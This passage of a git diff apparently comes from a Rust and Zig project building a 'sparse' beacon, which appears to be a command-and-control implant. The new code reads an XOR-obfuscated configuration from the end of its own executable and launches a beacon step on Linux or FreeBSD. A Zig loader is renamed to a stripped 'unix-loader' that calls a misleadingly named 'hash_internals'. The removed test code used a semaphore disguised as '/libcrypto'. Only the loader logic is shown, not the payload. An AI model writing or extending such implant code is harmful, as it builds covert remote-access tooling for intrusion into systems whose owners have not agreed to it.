.expect("Could not get a reference to a sparse installer");
|
||||
let mut installer_file = tokio::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.open(installer)
|
||||
.await?;
|
||||
|
||||
let parameters_size = std::mem::size_of::<Parameters>() as i64;
|
||||
|
||||
installer_file.seek(SeekFrom::End(-parameters_size)).await?;
|
||||
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||
installer_file.read_to_end(&mut parameters_buffer).await?;
|
||||
|
||||
for b in parameters_buffer.iter_mut() {
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
let parameters: Parameters =
|
||||
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
|
||||
|
||||
sparse_beacon::run_beacon_step(LinuxAdapter, parameters).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@ -1,14 +1,41 @@
|
||||
fn main() {
|
||||
println!("Hello, world!");
|
||||
use std::io::SeekFrom;
|
||||
|
||||
#[cfg(target_os = "freebsd")]
|
||||
unsafe {
|
||||
let sem = libc::sem_open(c"/libcrypto".as_ptr(), 0);
|
||||
libc::sem_post(sem);
|
||||
use tokio::io::{AsyncSeekExt, AsyncReadExt};
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
use sparse_beacon::adapter::BeaconAdapter;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
mod linux;
|
||||
#[cfg(target_os = "linux")]
|
||||
use linux::LinuxAdapter as Adapter;
|
||||
|
||||
#[cfg(target_os = "freebsd")]
|
||||
mod freebsd;
|
||||
#[cfg(target_os = "freebsd")]
|
||||
use freebsd::FreeBsdAdapter as Adapter;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), sparse_beacon::BeaconError<<Adapter as BeaconAdapter>::Error>> {
|
||||
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.open(std::env::current_exe()?)
|
||||
.await?;
|
||||
|
||||
let parameters_size = std::mem::size_of::<Parameters>() as i64;
|
||||
|
||||
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
|
||||
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||
binary_file.read_to_end(&mut parameters_buffer).await?;
|
||||
|
||||
for b in parameters_buffer.iter_mut() {
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
println!("Hello, world!");
|
||||
unsafe { println!("\n{}\n", libc::getpid()) };
|
||||
let parameters: Parameters =
|
||||
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
|
||||
|
||||
loop {}
|
||||
sparse_beacon::run_beacon_step(Adapter, parameters).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@ -11,3 +11,6 @@ anyhow = "1.0.95"
|
||||
pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
|
||||
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
|
||||
winreg = "0.55"
|
||||
|
||||
[features]
|
||||
service = []
|
||||
|
||||
@ -55,9 +55,11 @@ pub fn build(b: *std.Build) !void {
|
||||
});
|
||||
|
||||
const exe = b.addExecutable(.{
|
||||
.name = "test-loader",
|
||||
.root_source_file = b.path("src/test_run.zig"),
|
||||
.name = "unix-loader",
|
||||
.root_source_file = b.path("src/run.zig"),
|
||||
.target = target,
|
||||
.optimize = optimize,
|
||||
.strip = true,
|
||||
});
|
||||
|
||||
lib.addIncludePath(b.path("src"));
|
||||
|
||||
26
unix-loader/src/run.zig
Normal file
26
unix-loader/src/run.zig
Normal file
@ -0,0 +1,26 @@
|
||||
extern fn hash_internals(parameters: *Parameters) void;
|
||||
const std = @import("std");
|
||||
|
||||
const Parameters = @cImport({
|
||||
@cInclude("abi.h");
|
||||
}).Parameters;
|
||||
|
||||
var file_parameters: Parameters = undefined;
|
||||
|
||||
fn fill_parameters() !void {
|
||||
const this_file = try std.fs.openSelfExe(std.fs.File.OpenFlags{});
|
||||
|
||||
try this_file.seekFromEnd(@sizeOf(Parameters));
|
||||
|
||||
var param_buffer: [@sizeOf(Parameters)]u8 = undefined;
|
||||
_ = try this_file.reader().read(¶m_buffer);
|
||||
|
||||
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), ¶m_buffer);
|
||||
}
|
||||
|
||||
pub fn main() void {
|
||||
fill_parameters() catch {
|
||||
return;
|
||||
};
|
||||
hash_internals(&file_parameters);
|
||||
}
|
||||
@ -1,11 +0,0 @@
|
||||
extern fn hash_internals(parameters: *Parameters) void;
|
||||
|
||||
const Parameters = @cImport({
|
||||
@cInclude("abi.h");
|
||||
}).Parameters;
|
||||
|
||||
var file_parameters: Parameters = .{};
|
||||
|
||||
pub fn main() void {
|
||||
hash_internals(&file_parameters);
|
||||
}
|
||||
Loading…
x
Reference in New Issue
Block a user